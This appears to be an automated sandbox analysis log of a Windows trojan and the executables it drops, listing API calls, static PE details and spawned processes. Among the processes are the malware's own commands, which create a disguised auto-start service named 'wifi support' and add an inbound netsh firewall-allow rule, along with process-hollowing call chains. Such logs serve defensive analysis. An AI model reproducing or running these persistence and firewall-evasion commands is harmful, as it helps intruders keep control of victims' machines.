Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_05682A48	19_2_05682A48
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_0040C913	31_2_0040C913
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_00435940	31_2_00435940
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_00436720	31_2_00436720

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

18_2_00401280

Source: nkINykHreE.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nkINykHreE.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nkINykHreE.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nkINykHreE.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 115B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 115B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 115B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 115B.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2997.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2997.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 2757.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4187.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4187.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 13E0.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 13E0.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1B15.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1B15.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1B15.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 1B15.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 28C2.exe.3.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: 28C2.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4583.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4BED.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4BED.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 4BED.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 18D.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 18D.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 18D.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 18D.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: haifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: haifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: haifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: haifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: scifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: scifbcd.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sdiimdop.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sdiimdop.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sdiimdop.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sdiimdop.exe.18.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Section loaded: mscorjit.dll	Jump to behavior

Source: nkINykHreE.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: String function: 00542794 appears 35 times
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: String function: 00422420 appears 157 times
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: String function: 00422260 appears 114 times
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: String function: 0042CE40 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: String function: 00422600 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: String function: 00422440 appears 57 times

Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 0_2_00540110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	0_2_00540110
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00401962 Sleep,NtTerminateProcess,	1_2_00401962
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_0040196D Sleep,NtTerminateProcess,	1_2_0040196D
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_00402000
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_2_0040250A
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00401A0B NtTerminateProcess,	1_2_00401A0B
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201A
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040201E
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_2_0040202D
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402084 LocalAlloc,NtQuerySystemInformation,	1_2_00402084
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_2_00402491 NtOpenKey,	1_2_00402491
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402000
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	1_1_0040250A
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201A
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040201E
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_0040202D
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402084 LocalAlloc,NtQuerySystemInformation,	1_1_00402084
Source: C:\Users\user\Desktop\nkINykHreE.exe	Code function: 1_1_00402491 NtOpenKey,	1_1_00402491
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 13_2_00470110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	13_2_00470110
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Code function: 14_2_00470110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	14_2_00470110
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00401962 Sleep,NtTerminateProcess,	15_2_00401962
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_0040196D Sleep,NtTerminateProcess,	15_2_0040196D
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_00402000
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_2_0040250A
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00401A0B NtTerminateProcess,	15_2_00401A0B
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201A
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201E
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040202D
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402084 LocalAlloc,NtQuerySystemInformation,	15_2_00402084
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_2_00402491 NtOpenKey,	15_2_00402491
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_00402000
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_1_0040250A
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201A
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040201E
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_1_0040202D
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402084 LocalAlloc,NtQuerySystemInformation,	15_1_00402084
Source: C:\Users\user\AppData\Roaming\haifbcd	Code function: 15_1_00402491 NtOpenKey,	15_1_00402491
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0040193B Sleep,NtTerminateProcess,	17_2_0040193B
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00401947 Sleep,NtTerminateProcess,	17_2_00401947
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0040174C NtMapViewOfSection,NtMapViewOfSection,Sleep,NtTerminateProcess,	17_2_0040174C
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00401951 Sleep,NtTerminateProcess,	17_2_00401951
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_00401FF1 NtQuerySystemInformation,NtQuerySystemInformation,	17_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004016FD NtMapViewOfSection,NtMapViewOfSection,	17_2_004016FD
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_0040158E NtMapViewOfSection,NtMapViewOfSection,	17_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004015A6 NtMapViewOfSection,NtMapViewOfSection,	17_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\2997.exe	Code function: 17_2_004015BC NtMapViewOfSection,NtMapViewOfSection,	17_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_056BF480 NtAllocateVirtualMemory,	19_2_056BF480
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Code function: 19_2_056BF3A0 NtUnmapViewOfSection,	19_2_056BF3A0

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

18_2_00408E26

Source: 2757.exe.3.dr	Static PE information: Resource name: RT_STRING type: VAX-order 68k Blit mpx/mux executable
Source: 28C2.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 4583.exe.3.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 2757.exe.3.dr

Static PE information: Section: .reloc IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 4187.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 1B15.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 28C2.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: 315E.exe.3.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 2757.exe.3.dr	Static PE information: Section: .rdata ZLIB complexity 0.999518743408
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00042941046
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.0006377551
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.001953125
Source: 315E.exe.3.dr	Static PE information: Section: ZLIB complexity 1.021484375
Source: 4BED.exe.3.dr	Static PE information: Section: ZLIB complexity 1.00015356453

Source: nkINykHreE.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\haifbcd

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@57/40@107/34

Source: C:\Users\user\AppData\Local\Temp\18D.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		18_2_00409A6B
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,		31_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\18D.exe

Code function: 18_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

18_2_00409A6B

Source: nkINykHreE.exe	Virustotal: Detection: 25%
Source: nkINykHreE.exe	ReversingLabs: Detection: 25%

Source: C:\Users\user\Desktop\nkINykHreE.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nkINykHreE.exe "C:\Users\user\Desktop\nkINykHreE.exe"
Source: C:\Users\user\Desktop\nkINykHreE.exe	Process created: C:\Users\user\Desktop\nkINykHreE.exe "C:\Users\user\Desktop\nkINykHreE.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Users\user\AppData\Roaming\haifbcd C:\Users\user\AppData\Roaming\haifbcd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\115B.exe C:\Users\user\AppData\Local\Temp\115B.exe
Source: C:\Users\user\AppData\Roaming\haifbcd	Process created: C:\Users\user\AppData\Roaming\haifbcd C:\Users\user\AppData\Roaming\haifbcd
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Process created: C:\Users\user\AppData\Local\Temp\115B.exe C:\Users\user\AppData\Local\Temp\115B.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2997.exe C:\Users\user\AppData\Local\Temp\2997.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\18D.exe C:\Users\user\AppData\Local\Temp\18D.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBA.exe C:\Users\user\AppData\Local\Temp\CBA.exe
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dbgxuqbr\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description dbgxuqbr "wifi internet conection
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start dbgxuqbr
Source: C:\Windows\SysWOW64\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
Source: unknown	Process created: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d"C:\Users\user\AppData\Local\Temp\18D.exe"
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process created: C:\Users\user\AppData\Local\Temp\CBA.exe C:\Users\user\AppData\Local\Temp\CBA.exe
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\scifbcd C:\Users\user\AppData\Roaming\scifbcd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2757.exe C:\Users\user\AppData\Local\Temp\2757.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4187.exe C:\Users\user\AppData\Local\Temp\4187.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\13E0.exe C:\Users\user\AppData\Local\Temp\13E0.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1B15.exe C:\Users\user\AppData\Local\Temp\1B15.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\28C2.exe C:\Users\user\AppData\Local\Temp\28C2.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\315E.exe C:\Users\user\AppData\Local\Temp\315E.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4583.exe C:\Users\user\AppData\Local\Temp\4583.exe
Source: C:\Users\user\Desktop\nkINykHreE.exe	Process created: C:\Users\user\Desktop\nkINykHreE.exe "C:\Users\user\Desktop\nkINykHreE.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\115B.exe C:\Users\user\AppData\Local\Temp\115B.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\2997.exe C:\Users\user\AppData\Local\Temp\2997.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\18D.exe C:\Users\user\AppData\Local\Temp\18D.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CBA.exe C:\Users\user\AppData\Local\Temp\CBA.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Roaming\haifbcd	Process created: C:\Users\user\AppData\Roaming\haifbcd C:\Users\user\AppData\Roaming\haifbcd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\115B.exe	Process created: C:\Users\user\AppData\Local\Temp\115B.exe C:\Users\user\AppData\Local\Temp\115B.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dbgxuqbr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\sdiimdop.exe" C:\Windows\SysWOW64\dbgxuqbr\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create dbgxuqbr binPath= "C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe /d\"C:\Users\user\AppData\Local\Temp\18D.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description dbgxuqbr "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start dbgxuqbr	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\18D.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Process created: C:\Users\user\AppData\Local\Temp\CBA.exe C:\Users\user\AppData\Local\Temp\CBA.exe	Jump to behavior
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\115B.tmp

Jump to behavior

Source: C:\Users\user\Desktop\nkINykHreE.exe

Code function: 0_2_0041C6FF SetLastError,GetProfileStringW,WriteProfileSectionW,GetProfileStringA,GetLastError,GetSystemWow64DirectoryW,GetWindowsDirectoryA,GetCPInfoExA,GetDiskFreeSpaceExA,GetStartupInfoA,ReadConsoleOutputCharacterW,GlobalUnWire,GetProcessHeap,GetProcessHeaps,WritePrivateProfileStringW,GetPriorityClass,

0_2_0041C6FF

Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CBA.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

